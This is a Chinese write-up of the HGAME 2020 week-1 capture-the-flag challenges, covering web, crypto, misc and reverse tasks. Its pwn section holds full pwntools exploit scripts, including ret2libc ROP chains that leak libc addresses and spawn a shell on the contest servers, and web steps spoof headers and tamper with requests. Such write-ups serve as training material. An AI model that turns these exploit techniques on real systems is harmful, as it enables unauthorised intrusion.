2020 hgame week1

前言:

​ 2020hgame开始了,作为自2019hgame入手ctf的萌新,又来hgame学习了。这一次的week1感觉比去年又难了一个档次,不过花了四天摸爬滚打,连蒙带猜,终于是aak了,这里留下详细wp以供学习。其中二进制方向是最近才开始接触的,若有不当之处,望指正。

Web

Cosmos的博客

题目介绍:

Cosmos 的博客

你好。欢迎你来到我的博客。

大茄子让我把 flag 藏在我的这个博客里。但我前前后后改了很多遍,还是觉得不满意。不过有大茄子告诉我的版本管理工具以及 GitHub,我改起来也挺方便的。

解题思路:

通过题面中提到的github可以想到可能是.git泄露

于是利用工具git_extract: https://github.com/gakki429/Git_Extract

可以dump到.git文件,

1
python git_extract.py http://cosmos.hgame.n3ko.co/.git/

在其中的config文件里面有一个github项目的网址

进入页面点击人名到commit,

点最下面的项目

获得flag的base64,

解码即可

flag:hgame{g1t_le@k_1s_danger0us_!!!!}

接头霸王

题目介绍:

HGAME Re:Dive 开服啦~

解题思路:

从名字可以看出,这一题的考点是报文头,所以开好burpsuit,直接抓包

step1:You need to come from https://vidar.club/

进行referer伪造,

Referer: https://vidar.club/

step2:You need to visit it locally.

进行ip伪造:

x-forwarded-for: 127.0.0.1

step3:You need to use Cosmos Brower to visit.

进行UA伪造:User-Agent: Cosmos Brower (出题人拼错单词23333)

step4:Your should use POST method :)

更改请求方式位POST:

step5:The flag will be updated after 2077, please wait for it patiently.

题面说flag在2077年会updated一次,所以我们可以请求在2077年之后不再更新的资源

If-Unmodified-Since: Fri, 01 Oct 2077 00:00:00 GMT

得到flag:hgame{W0w!Your_heads_@re_s0_many!}

Code World

题目介绍:

Code is exciting!
参数a的提交格式为: 两数相加(a=b+c)

解题思路:

这道题一进去就会重定向到一个new.php

好多新人认为是题目的问题,以为题目炸了,其实打开f12可以看见。被302重定向了

所以我们burpsuit抓包拦截,

发现405Not Allowed,

这里并没有发现任何判断身份的参数,最后尝试更改请求方式为POST

题面的意思是让我们通过参数a计算两数之和,

试着提交,a=1+9

发现失败了,因为url中。‘+’其实表示空格,这里我们将‘+’编码,urlencode后,传过去,

payload:?a=1%2b9

flag:hgame{C0d3_1s_s0_S@_sO_C0ol!}

🐔尼泰玫

题目介绍:

听说你球技高超?

解题思路:

进入页面,是个打砖块的游戏,盲猜是作弊该分数了。

burpsuit开启拦截,随便玩下,输掉游戏后可以抓到包

把里的分数:2000,改掉。随便来个大一点的

得到flag:hgame{j4vASc1pt_w1ll_tel1_y0u_someth1n9_u5efu1?!}

Pwn

Hard_AAAAA

题目介绍:

无脑AAA太无聊了,挑战更高难度的无脑AAA!
nc 47.103.214.163 20000

解题思路:

静态分析核心代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+0h] [ebp-ACh]
char v5; // [esp+7Bh] [ebp-31h]
unsigned int v6; // [esp+A0h] [ebp-Ch]
int *v7; // [esp+A4h] [ebp-8h]

v7 = &argc;
v6 = __readgsdword(0x14u);
alarm(8u);
setbuf(_bss_start, 0);
memset(&s, 0, 0xA0u);
puts("Let's 0O0o\\0O0!");
gets(&s);
if ( !memcmp("0O0o", &v5, 7u) )
backdoor();
return 0;
}

存在危险函数gets,所以会有溢出,

这里有个坑,就是伪代码恢复来的需要比较的字符只有0O0o,但是这个函数又要比较7个字符,

我们直接去.rodata段看

还是只有六个字符,,emmm,那就按D,转Data

这要就知道为啥反编译之后只给了4个字符了,因为当中有一个字符串截断符号,\x00,

所以真正要比较的字符串就是0O0o\x00O0

然后再看要被比较的字符串v5的起始地址

接受我们输入的地址是&s

所以中间的填充字符的数量就是0xAC-0x31

画个图就是

img

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context.log_level = "debug"
elf = ELF("Hard_AAAAA")

def pwn(url,port,debug):
if (debug==1):
sh = process('./Hard_AAAAA')
else:
sh = remote(url,port)
sh.recvuntil("Let's 0O0o\\0O0!\n")
payload = "a"* (0xAC-0x31)
payload+="0O0o\x00O0"
# gdb.attach(sh)
# pause()
sh.sendline(payload)
sh.interactive()

pwn("47.103.214.163","20000",0)

One_shot

题目介绍:

一发入魂

解题思路:

可以看到,这里的name可以输出32个字符,我们看看栈里的布置

img

可以发现,0xE0-0xC0 刚好等于32

所以,输入32个字节长的name后,按理说name和flag就拼接在一起了,

但是字符串会在最后加一个截断符\x00,所以也就是flag的第一位会被截断符给覆盖

这里程序贴心的给了一个修改指定地址的值为1的功能

所以我们输入地址:00000000006010E0,把这个截断符给改了,

那么程序有一个输出name的功能,输出name时,由于name和flag已经拼接在一起了,就会连着flag一起输出出来,当然,flag的第一位已经被数字1给覆盖了,但是不要紧,显然flag的第一位就是’h’

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
context.log_level = "debug"
elf = ELF("One_Shot")

def pwn(url,port,debug):
if (debug==1):
sh = process('./One_Shot')
else:
sh = remote(url,port)
sh.recvuntil("name?\n")
payload = "a"* 32
sh.send(payload)
sh.recvuntil("shot!\n")
addr = int("0x6010E0",16)
sh.sendline(str(addr))
flag=sh.recv()
print flag
# gdb.attach(sh)
# pause()
sh.interactive()

pwn("47.103.214.163","20002",0)

Number_Killer

题目介绍:

看起来人畜无害的一些整数也能秒我?(吃惊)
nc 47.103.214.163 20001

解题思路:

read函数的功能就是读入,返回20个数字

这里20个数字最多占8字节

并且数组的定义是__int64,64位下,数组的每个元素就占8个字节了。

我们看到,数组v4最多可以存11个数字,但是在循环读入的时候却读了20个数,这里显然有数组越界。

我们在看一下栈

img

数组的地址时,-60到-08,这个var_4是i的地址。

也就是我们在读入20个数据的时候,数组会越界,并且还会覆盖i 的值。

由于程序中是根据i得值来算地址,来写入我们得输入,所以我们要控制i的值。

抛开这些不说,越界了之后又能干什么呢?这里有一种ret2libc的利用方式

参考这篇文章

溢出后我们先利用Ropgadget 找到 pop edi;ret 的地址,然后利用libc里的system函数,/bin/sh字符串来getshell

原理在上面的文章讲的比较清楚。这里介绍具体操作:

利用Ropgadget 找到 pop edi;ret 的地址

然后看看程序的libc的版本

img

(打远程的时候还得知道远程环境的ubuntu版本,16.04,18.04还是不知道的,但是,其实有libcsearcher这样的神器,也有在线查的网站,所以问题不大)

然后我们先泄露一下程序里libc的某函数的地址,这里我们习惯性找‘__libc_start_main’这个函数,

怎么泄露?利用之前找到的pop edi;ret,跳到puts@plt那去,这个函数的地址怎么找

img

puts 的参数即指向‘__libc_start_main’的指针的地址这么找:

img

image-20200121230334511

image-20200121230348242

图中的0000000000601030,

打过去后我们会收到‘__libc_start_main’函数的地址,其中只有最后三位是有效的,因为开启了ASLR,每一次的libc的基址都是随机的(但最后三位总是有效的)。

ALSR和PIE的区别:

简单来说,开启了ALSR,堆、栈、libc的地址会发生变化

开启了ALSR后又开启了PIE,则代码段和数据段的地址也会发生变化

img

我们拿到这后三位地址去 https://libc.blukat.me/

img

有三个结果,一个个试过来好了,最后发现前两个版本都是可以的

它已经列好了我们需要的函数和字符串与我们泄露的那个函数地址的相对偏移了

我们直接加上去就好。即

system_addr = leak_value + 0x24c50
s_addr = leak_value + 0x16c617

(其实找put@plt和指向函数‘__libc_start_main‘的指针的地址有一种更方便的方法)

1
2
3
4
elf = ELF("Number_Killer")

elf.symbols['puts'] //返回.text段或者.plt段的函数地址
elf.got['__libc_start_main'] //返回got表中函数指针的地址

我们leak了libc的地址了,我们还要回到主函数,再利用一次漏洞来getshell,所以puts的返回地址是

elf.symbols[‘main’]

前面谈到,i的值会被覆盖掉,所以我们要注意控制i的值,这里我们在走完11次之后,

我们一共填满了88(0x58)个字节,距离i中间还有4个字节的空间,于是我们填四个字节的ff,然后填一个数,就代表i的值了,这里我们直接让i=c,因为接下来我们要发送gadget的地址,puts@plt的地址,puts@plt的参数,puts@plt的返回地址(main),i=c,此时刚好写入地址就刚好指向返回地址。

然后让i走到19,此时程序才会跳出循环,函数才会返回,也就是跳到我们得puts@plt,所以我们之后还要进行填充。

【注,64位程序通过寄存器传值,所以是pop rdi;ret 函数参数 函数地址 函数返回地址 这样的顺序;

如果是32位程序,就不用pop rdi;ret了,直接可以传:函数地址 函数返回地址 函数参数】

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
context.log_level = "debug"
elf = ELF("Number_Killer")
#libc =
def pwn(url,port,debug):
if (debug==1):
sh = process('./Number_Killer')
else:
sh = remote(url,port)
sh.recvuntil("numbers!\n")
for _ in range(11):
sh.sendline(str(0xffffffffffffffff)) #填充数组
sh.sendline(str(0xcffffffff)) #小端序,后四个字节用来填充,c是i的值
sh.sendline(str(0x400803)) #ROPgadget --binary ./pwnme --only "pop|ret" | grep 'rdi'
sh.sendline(str(elf.got['__libc_start_main']))
sh.sendline(str(elf.symbols['puts']))
sh.sendline(str(elf.symbols['main']))
for _ in range(3):
sh.sendline(str(0xdeadbeef)) #填充,让循环走完

leak_value = u64(sh.recv(6).ljust(8,'\x00'))
log.success("leak_value %s"%hex(leak_value))
#libc_base = u64(sh.recv(6).ljust(8,'\x00'))-libc.symbols['__libc_start_main']

system_addr = leak_value + 0x24c50 #后面的相对偏移就是网站查询得来的
sh_addr = leak_value + 0x16c617

sh.recvuntil("numbers!\n")

for _ in range(11):
sh.sendline(str(0xffffffffffffffff))
sh.sendline(str(0xcffffffff))
sh.sendline(str(0x400803))
sh.sendline(str(sh_addr)) #system的参数,'/bin/sh'的地址
sh.sendline(str(system_addr)) #system函数的地址 (这两个都是libc里头的)
for _ in range(4):
sh.sendline(str(0xdeadbeef)) #填充,让循环走完

# gdb.attach(sh)
# pause()
sh.interactive()

pwn("47.103.214.163","20001",0)

ROP_LEVEL0

题目介绍:

ROP is PWNers’ romance
nc 47.103.214.163 20003

解题思路:

预期解应该是溢出然后写shellcode利用orw得到读flag,但是,ROP is PWNers’ romance,

所以这里我利用的还是上一题的ret2libc,应该是非预期了。

首先这里会读0x100个字符进v5,但是v5在栈里的位置

距离栈底指针只有0x50个字符,所以这里肯定是存在栈溢出的,然后如上题一样的操作(出题人出题用的同一个环境,所以脚本几乎可以直接搬来)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *

#from LibcSearcher import *
context.log_level = "debug"

elf = ELF("ROP_LEVEL0")


def pwn(url,port,debug):
if (debug==1):
sh = process('./ROP_LEVEL0')
else:
sh = remote(url,port)
sh.recvuntil("./flag\n")

buf = 'a'*(88)
payload=buf+p64(0x400753) #ROPgadget --binary ./pwnme --only "pop|ret" | grep 'rdi'

payload+=p64(elf.got['__libc_start_main'])
payload+=p64(elf.symbols['puts'])
payload+=p64(elf.symbols['main'])
sh.sendline(payload)

leak_value = u64(sh.recv(6).ljust(8,'\x00'))
log.success("leak_value %s"%hex(leak_value))

system_addr = leak_value + 0x24c50 #和上一题一样~
sh_addr = leak_value + 0x16c617

sh.recvuntil("./flag\n")
buf = 'A'*(88)
payload=buf+p64(0x400753)
payload+=p64(sh_addr) #system('/bin/sh')
payload+=p64(system_addr) #system()
payload+=p64(0xdeadbeef) #这里无所谓了,我们都getshell了,返回地址随便填了

sh.sendline(payload)

# gdb.attach(sh)
# pause()
sh.interactive()



pwn("47.103.214.163","20003",1)

Crypto

lnfantRSA

题目介绍:

真*签到题
p = 681782737450022065655472455411;
q = 675274897132088253519831953441;
e = 13;
c = pow(m,e,p*q) = 275698465082361070145173688411496311542172902608559859019841

解题思路:

知道所有的条件了,我们只需要算出私钥d就可以解密了,私钥d是公钥在模φ(n),即是这里的φ(pq)=(p-1)\(q-1)

直接用gmpy2模块下的invert可以求出私钥来,d=gmpy2.invert(e,(p-1)*(q-1))

然后m(即flag)为:m=pow(c,d,p*q)

这里解密方程的证明:

img

exp

1
2
3
4
5
6
7
8
import gmpy2
p = 681782737450022065655472455411;
q = 675274897132088253519831953441;
e = 13;
c = 275698465082361070145173688411496311542172902608559859019841
d = gmpy2.invert(e,(p-1)*(q-1))
m = pow(c,int(d),p*q)
print hex(m)[2:-1].decode('hex')

flag:hgame{t3Xt6O0k_R5A!!!}

Affine

题目介绍:

Some basic modular arithmetic…

解题思路:

加密代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import gmpy2
from secret import A, B, flag
assert flag.startswith('hgame{') and flag.endswith('}')

TABLE = 'zxcvbnmasdfghjklqwertyuiop1234567890QWERTYUIOPASDFGHJKLZXCVBNM'
MOD = len(TABLE)

cipher = ''
for b in flag:
i = TABLE.find(b)
if i == -1:
cipher += b
else:
ii = (A*i + B) % MOD
cipher += TABLE[ii]

print(cipher)
# A8I5z{xr1A_J7ha_vG_TpH410}

是拓展了字符表的仿射加密

我们可以知道放射加密的公式是:c≡Ax+B (mod m)其中,x为明文,c为密文,m为模数,这里m=len(TABLE)

所以对应的解密公式即为:x≡(c-B) * A ^-1^ (mod m),这里,A^-1^是A在模m下的逆元,(如rsa中d是e在模φ(n)下的逆元一般),

题目中,我不知道A,B,所以我选择爆破A,B的方法,然后在所有答案中找包含字符‘hgame’的结果。(因为知道flag中前五个字符为hgame,所以其实也可以解方程,但是因为TABLE比较小,为了抢个一血,就直接爆了,甚至脚本也是在原基础上直接改的)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
TABLE = 'zxcvbnmasdfghjklqwertyuiop1234567890QWERTYUIOPASDFGHJKLZXCVBNM'
MOD = 62
for A in range(MOD):

for B in range(MOD):
flag=""
cipher = 'A8I5z{xr1A_J7ha_vG_TpH410}'
for b in cipher:
i = TABLE.find(b)
if i == -1:
flag += b
else:
try:
ii = (i-B)*invert(A,MOD)%MOD
flag += TABLE[ii]
except:
break
if 'hgame' in flag:
print flag
exit(0)
# A8I5z{xr1A_J7ha_vG_TpH410}

flag:hgame{M4th_u5Ed_iN_cRYpt0}

not_One_time

题目介绍:

In cryptography, the one-time pad (OTP) is an encryption technique that cannot be cracked, but…
Just XOR ;P
nc 47.98.192.231 25001
hint: reduced key space

解题思路:

一次性密码本本身无解,程序漏洞在于key的空间被缩减了,可以多次连接获取密文文本,此时一直不变的flag反而可以看作是用来加密的key了。然后爆破flag,使得flag的每一位能解密 密文文本每一项的对应位,解密成功的判断条件是恢复出的明文在给出的key的空间中。

举个栗子:

flag的第一个字符肯定是h吧,

比如我们连接20次,获得20组密文,

h和每一组的密文的第一个字符异或,肯定也是一个可见字符, 并且20组异或下来,获得的可见字符肯定也是20个,不会少一个。

所以我们只需要遍历所有的密钥空间内的元素,找到满足条件(即,和20组密文的对应位异或下来能生成20个可见字符)的字符,组合起来即为flag

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
import string, binascii, base64

def getex():
example=[]
for _ in range(50):
p=remote('47.98.192.231',25001)
example.append(base64.b64decode(p.recv()))
p.close()
return example

ex=getex() #获取50组密文

tablekey=string.ascii_letters+string.digits
tableflag=tablekey+'~!@#$%^&*()_+-=`{}' #flag的可能的字符
flag=[]

for index in range(len(ex[0])):
flag_may=''
for i in tableflag:
possible=[]
for j in ex:
a = chr(ord(i)^ord(j[index]))
if a in tablekey: #如果异或结果是在密钥空间里的话,将结果放入数组
possible.append(a)
if len(possi) == len(ex): #如果数组长度等于密钥的组数(这里的50)
flag_may+=i #该字符符合条件,放入该位候选(因为有可能一个位置有多个字符满足条件,可能需要二次排除)
flag.append(flag_may)
print flag #看每一组是否只有一个字符,如果不是的话,多跑几遍脚本,取个交集就可。
flag_string=""
for i in flag:
flag_string+=i
print flag_string

hgame{r3us1nG+M3$5age-&&~rEduC3d_k3Y-5P4Ce}

Recoder

题目介绍:

We found a secret oracle and it looks like it will encrypt your input…
nc 47.98.192.231 25002

解题思路:

根据题目名字,再经过多次尝试可以发现,服务器会将你的输入进行简单的置换,

然后在交互十次之后会给出置换后的flag,长度为32位

img

那么我们只需要输入32位字符,观察他置换后结果,得到映射关系,然后我们根据这个映射关系,将最后给出的置换过后的flag置换回来即可。(注意,为了让我们的映射关系为一一映射,即映射关系为双射关系,我们的输入应该是不重复的字符)

exp

1
2
3
4
5
6
7
8
9
10
cin='qhaufsywetodiprgjYQvRWcklxnEbmzT'
cout='qwertyuiopasdfghjklzxcvbnmQWERTY'
flagout='hL+jm5{gae$IUtmp3}iu!0m_PRAnTTe!'
index=[]
for i in cout :
index.append(cin.find(i))
flag=''
for i in range(32):
flag+=flagout[index[i]]
print flag

flag:hgame{jU$t+5ImpL3_PeRmuTATi0n!!}

Misc

欢迎参加HGame!

题目介绍:

欢迎大家参加 HGAME 2020!
来来来,签个到吧~
Li0tIC4uLi0tIC4tLi4gLS4tLiAtLS0tLSAtLSAuIC4uLS0uLSAtIC0tLSAuLi0tLi0gLi4tLS0gLS0tLS0gLi4tLS0gLS0tLS0gLi4tLS4tIC4uLi4gLS0uIC4tIC0tIC4uLi0t
注:若解题得到的是无hgame{}字样的flag花括号内内容,请手动添加hgame{}后提交。
【Notice】解出来的字母均为大写

解题思路:

将题目base64解码后为:.– …– .-.. -.-. —– – . ..–.- - — ..–.- ..— —– ..— —– ..–.- …. –. .- – …–

根据提示,摩斯密码解密:W3LC0ME_TO_2020_HGAM3

flag:hgame{W3LC0ME_TO_2020_HGAM3}

这里推荐一个摩斯密码在线解密的比较好的网站: http://www.all-tool.cn/Tools/morse/?&rand=ef0d1baeafb128b559d9813277b7ca5d ,可以自定义 分割符,长符,短符

壁纸

题目介绍:

某天,ObjectNotFound给你发来了一个压缩包。
“给你一张我的新老婆的壁纸!怎样,好看吗?”
正当你疑惑不解的时候,你突然注意到了压缩文件的名字——“Secret”。
莫非其中暗藏玄机?

解题思路:

拿到文件,是个图片,

能天使~

放入010editor,ctrl f 搜索hex值:50 4b 03 04(这是压缩包的文件头)可以看见图片底部有压缩包,

我们手动将zip包导出来,

首先选中自这个文件头往后的所有内容,右键->选择->保存选择

改文件后缀名为zip

打开压缩包

提示压缩包密码是个ID,这张图片的ID?不知道,直接爆6-8位数字试试先!得到

得到:\u68\u67\u61\u6d\u65\u7b\u44\u6f\u5f\u79\u30\u75\u5f\u4b\u6e\u4f\u57\u5f\u75\u4e\u69\u43\u30\u64\u33\u3f\u7d

看到最后一个7d,‘}’的ascii码的十六进制,flag出来了~

十六进制转字符串得到flag:hgame{Do_y0u_KnOW_uNiC0d3?}

呃,,是unicode么原来。。。。

克苏鲁神话

题目介绍:

ObjectNotFound几天前随手从Cosmos电脑桌面上复制下来的文件。
唔,好像里面有什么不得了的东西。
【hint1】请使用7zip。另外,加密的zip是无法解出密码的。

解题思路:

下载得到压缩包,里面有一个加密得压缩包和一个文件,Bacon.txt,

文本文件得内容是:

of SuCh GrEAt powers OR beiNGS tHere may BE conCEivAbly A SuRvIval oF HuGely REmOTE periOd.

*Password in capital letters.

是培根密码得一种形式,根据大小写来解密,

先将大写得字符转位a,小写得字母转为b,

bbabababaabbbbbbbaabbbaaababbbbbbaabbbaabbabbbaabababbbbaababbbaabaaabbbbab

然后找一个在线网站解密

解密失败

那就a,b互换

aababababbaaaaaaabbaaabbbabaaaaaabbaaabbaabaaabbababaaaabbabaaabbabbbaaaaba

得到

FLAGHIDDENINDOC
flaghiddenindoc

会是压缩包得密码么?

打开压缩包

可以发现里面也有一个Bacon.txt

加上提示说用7z进行压缩,应该是明文攻击了实锤了。

然后明文攻击获得无密码压缩包。

先将已经得到得Bacon.txt用7z无密码压缩得到Bacon.zip

利用工具:ARCHPR

上面放有密码得压缩包,下面放自己制作得压缩包

开始攻击,

等搜索到密钥后就可以手动暂停,获得无密码的压缩包

有这个密钥就可以获得无密码的压缩包了,点确定就可以了。

打开word,提示有密码,密码是什么?刚刚有解密过一个培根密码惹,试试

最后试出来是大写的那个:FLAGHIDDENINDOC

打开是一篇文章

拉到底也没发现东西,

以为是将flag设置成和背景一样的白色,于是将所有文字都改成红色。无果

最后试了试设计模式,这个模式也可以藏些信息(之前的比赛遇到过)

果然~

得到flag:hgame {Y0u_h@Ve_F0Und_mY_S3cReT}

签到提ProPlus

题目介绍:

什么什么,签到题太简单没过瘾?
来来来,试试咱ObjectNotFound亲手做的这一道,包您满意!
【拼写错误修正】fenses -> fences

解题思路:

打开文件,有一个加密的压缩包和一个password.txt,

文本内容为:

Rdjxfwxjfimkn z,ts wntzi xtjrwm xsfjt jm ywt rtntwhf f y   h jnsxf qjFjf jnb  rg fiyykwtbsnkm tm  xa jsdwqjfmkjy wlviHtqzqsGsffywjjyynf yssm xfjypnyihjn.

JRFVJYFZVRUAGMAI

  • Three fenses first, Five Caesar next. English sentense first, zip password next.

推荐一个编码解码比较好的网站:www.qqxiuzi.cn

三次栅栏,五次凯撒 英语句子在前,压缩包密码在后,

先将文本每组字数为3栅栏解密后,凯撒密码位移5位解密得到

Many years later as he faced the firing squad, Colonel Aureliano Buendia was to remember that distant afternoon when his father took him to discover ice.

百年孤独里的一段,

emmm,所以下面那个JRFVJYFZVRUAGMAI有什么用呢?

English sentense first, zip password next.

所以将这一串按同样规则解密就能得到zip密码了,

解密得到: EAVMUBAQHQMVEPDT

用这个密码打开压缩包

是ook!加密,https://www.splitbrain.org/services/ook解密得到base32编码,

base32解码得到base64编码,base64解码得到

img

可以看到,png文件的文件头PNG,

于是用python,将base64转为图片

exp:

1
2
3
4
import base64
base=' ' #这里是之前得到的base64编码
with open('flag.png','wb') as f:
f.write(base64.b64decode(base))

得到二维码->flag: hgame{3Nc0dInG_@lL_iN_0Ne!}

每日推荐

题目介绍:

“这是一个,E99p1ant和ObjectNotFound之间发生的故事。”
“事情,还要从一个风和日丽的下午说起。ObjectNotFound正听着网易云每日推荐…”
算了算了,想不出什么题目介绍了,就这样吧。

解题思路:

用wireshark打开流量包,追踪TCP流,

在第88流发现出题人上传的压缩包

dump下来,这里提供一种我的稍微比较麻烦的方法,如果有更好的方法,请指教

首先显示和保存数据为原始数据

然后新建一个空的文本,将这些数据复制进去,保存

打开010editor,导入16进制文件ii

编辑为文本

删掉压缩包前面和后面的报文,保存文件,后缀为.zip

打开压缩包,提示密码为6位数字

ARCHPR爆破之。

打开得到一个音频

I Love Mondays.mp3

听了一下,里面确实是原来的曲,

一开始觉得可能是mp3隐写,但是找不到密码,最后还是用Audacity打开,试了试

波形图,

无果,

试了试频谱图

img

得到flag:hgame{I_love_EDM233}

(好奇这种题怎么出的,出题人好强~)

Reverse

maze

题目介绍:

You won’t figure out anything if you give in to fear.
学习资料: https://ctf-wiki.github.io/ctf-wiki/reverse/maze/maze-zh/
附加说明:请走最短路线

解题思路:

是一个正常的走迷宫,先看走法那边的代码

迷宫就在图中的&unk_602080,

终点就是图中的&unk_60243C.

我们在ida里面把迷宫dump下来

选中迷宫数据段

shift+e

从反汇编的代码我们可以看出,这个迷宫有64列,但是左右移动一次都是移动四位,所以我们把迷宫处理一下,

每四列只取第一列左右有效列

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
maze =[
1, 1, 1, 1, 1, 0, 0, 1, 1, 0,
1, 0, 1, 0, 0, 1, 1, 0, 1, 1,
1, 0, 1, 1, 1, 1, 1, 0, 1, 0,
1, 0, 1, 1, 1, 1, 1, 0, 1, 1,
1, 0, 0, 0, 1, 0, 1, 0, 1, 0,
0, 1, 1, 0, 0, 1, 1, 0, 1, 0,
1, 0, 0, 1, 1, 1, 1, 0, 0, 1,
0, 0, 1, 1, 0, 1, 1, 1, 1, 0,
1, 1, 1, 1, 1, 1, 1, 0, 1, 0,
0, 0, 1, 0, 0, 1, 1, 0, 1, 1,
1, 1, 0, 1, 1, 1, 1, 0, 1, 0,
1, 1, 1, 1, 0, 1, 1, 1, 1, 0,
1, 1, 0, 1, 1, 1, 1, 0, 1, 0,
1, 1, 0, 0, 1, 1, 1, 0, 1, 1,
1, 1, 0, 1, 1, 0, 1, 0, 1, 1,
1, 0, 1, 1, 1, 0, 1, 1, 1, 0,
1, 1, 1, 0, 1, 1, 0, 1, 1, 0,
0, 0, 1, 0, 1, 0, 1, 1, 1, 0,
1, 1, 0, 1, 1, 1, 1, 0, 1, 0,
1, 0, 1, 0, 1, 0, 0, 0, 1, 1,
1, 1, 1, 1, 1, 1, 1, 0, 1, 0,
1, 1, 1, 0, 1, 1, 1, 0, 1, 1,
1, 0, 1, 0, 1, 0, 0, 0, 1, 1,
0, 1, 1, 1, 1, 1, 1, 1, 1, 0,
1, 1, 1, 1, 1, 0, 1, 0, 1, 1,
1, 1, 1, 1, 1, 0, 1, 1, 0, 1,
0, 1, 1, 0, 1, 1, 1, 1, 1, 0,
0, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 0, 1, 0, 1, 0, 1, 1, 1, 1,
1, 0, 1, 0, 0, 1, 1, 1, 1, 1,
1, 0, 1, 1, 1, 0, 0, 1, 1, 1,
1, 0, 1, 0, 0, 1, 1, 0, 0, 1,
1, 1, 1, 0, 0, 0, 1, 1, 0, 0,
1, 0, 0, 1, 1, 0, 0, 1, 0, 0,
0, 1, 1, 1, 0, 1, 0, 0, 0, 0,
0, 1, 1, 0, 1, 1, 1, 0, 0, 0,
1, 0, 0, 1, 1, 0, 0, 1, 1, 0,
1, 1, 1, 0, 0, 0, 1, 1, 0, 1,
1, 0, 1, 0, 1, 0, 1, 0, 1, 0,
0, 0, 1, 1, 1, 1, 1, 0, 1, 0,
1, 1, 0, 1, 1, 0, 1, 1, 1, 1,
1, 0, 0, 0, 1, 0, 1, 1, 1, 0,
1, 0, 0, 0, 1, 0, 0, 1, 1, 0,
1, 0, 1, 0, 1, 1, 1, 0, 0, 0,
1, 1, 1, 0, 1, 1, 1, 1, 1, 1,
1, 0, 1, 0, 0, 0, 1, 0, 1, 0,
1, 0, 1, 0, 1, 0, 1, 1, 1, 1,
0, 1, 1, 0, 0, 0, 0, 1, 1, 0,
1, 0, 1, 1, 1, 0, 1, 1, 1, 1,
0, 1, 1, 0, 0, 0, 1, 1, 1, 1,
1, 1, 1, 0, 1, 1, 1, 0, 1, 1,
1, 1, 1, 0, 0, 0, 1, 0, 1, 1,
1, 0, 0, 1, 1, 0, 0, 0, 1, 0,
0, 0, 1, 0, 0, 1, 1, 0, 0, 0,
0, 0, 1, 0, 1, 0, 0, 1, 0, 1,
1, 0, 0, 1, 1, 1, 0, 0, 1, 0,
0, 0, 1, 1, 1, 1, 1, 1, 1, 0,
1, 1, 1, 0, 0, 1, 1, 1, 0, 1,
1, 1, 1, 0, 1, 1, 0, 1, 1, 0,
0, 0, 1, 0, 1, 1, 1, 0, 0, 0,
1, 1, 0, 1, 0, 0, 1, 0, 1, 1,
1, 0, 0, 1, 0, 0, 1, 0, 1, 1,
1, 1, 1, 0, 0, 0, 0, 0, 1, 0,
1, 0, 1, 1, 0, 1, 1, 0, 1, 0,
1, 0, 0, 1, 1, 0, 1, 1, 1, 1,
1, 0, 1, 1, 0, 1, 1, 0, 1, 0,
1, 1, 1, 0, 1, 1, 1, 1, 0, 1,
0, 0, 0, 1, 1, 0, 0, 1, 1, 1,
1, 1, 1, 0, 1, 1, 1, 1, 0, 0,
0, 1, 1, 0, 1, 0, 1, 1, 0, 1,
1, 0, 0, 0, 1, 1, 1, 1, 1, 0,
0, 1, 1, 0, 0, 0, 1, 0, 1, 1,
1, 1, 1, 0, 1, 0, 1, 1, 1, 0,
1, 0, 1, 0, 0, 1, 1, 0, 1, 0,
1, 1, 1, 0, 1, 1, 0, 1, 1, 0,
0, 1, 0, 1, 1, 0, 1, 1, 1, 1,
1, 0, 1, 1, 1, 1, 1, 0, 1, 1,
1, 0, 1, 0, 0, 1, 1, 0, 0, 0,
1, 0, 0, 1, 1, 0, 0, 0, 1, 0,
0, 1, 1, 1, 0, 1, 1, 0, 1, 1,
1, 1, 0, 1, 1, 0, 0, 0, 1, 0,
0, 1, 1, 0, 0, 0, 0, 1, 0, 0,
0, 1, 0, 0, 1, 0, 1, 1, 1, 0,
0, 0, 1, 0, 1, 0, 1, 0, 1, 1,
1, 0, 0, 0, 1, 1, 1, 1, 1, 1,
1, 0, 1, 0, 1, 1, 1, 0, 0, 1,
1, 0, 0, 0, 1, 0, 0, 0, 1, 0,
1, 0, 1, 1, 1, 1, 1, 0, 0, 1,
1, 1, 1, 0, 0, 1, 1, 1, 1, 1,
1, 1, 1, 0, 1, 0, 1, 0, 1, 1,
1, 0, 0, 1, 1, 1, 1, 0, 1, 1,
1, 1, 1, 0, 0, 0, 1, 1, 1, 1,
1, 1, 0, 1, 1, 0, 1, 0, 1, 1,
1, 1, 1, 0, 1, 1, 1, 0, 1, 1,
1, 0, 0, 1, 1, 0, 0, 0, 0, 0,
0, 0, 0, 1, 1, 0, 0, 1, 1, 1,
1, 1, 1, 0, 1, 1, 1, 0, 1, 1,
1, 0, 1, 0, 1, 0, 1, 1, 1, 0,
1, 0, 0, 1, 1, 1, 0, 1, 1, 1,
1, 0, 1, 0, 1, 1, 1, 0, 0, 1,
1, 0, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 0, 1, 0, 1, 1, 1, 1,
1, 1, 0, 1]

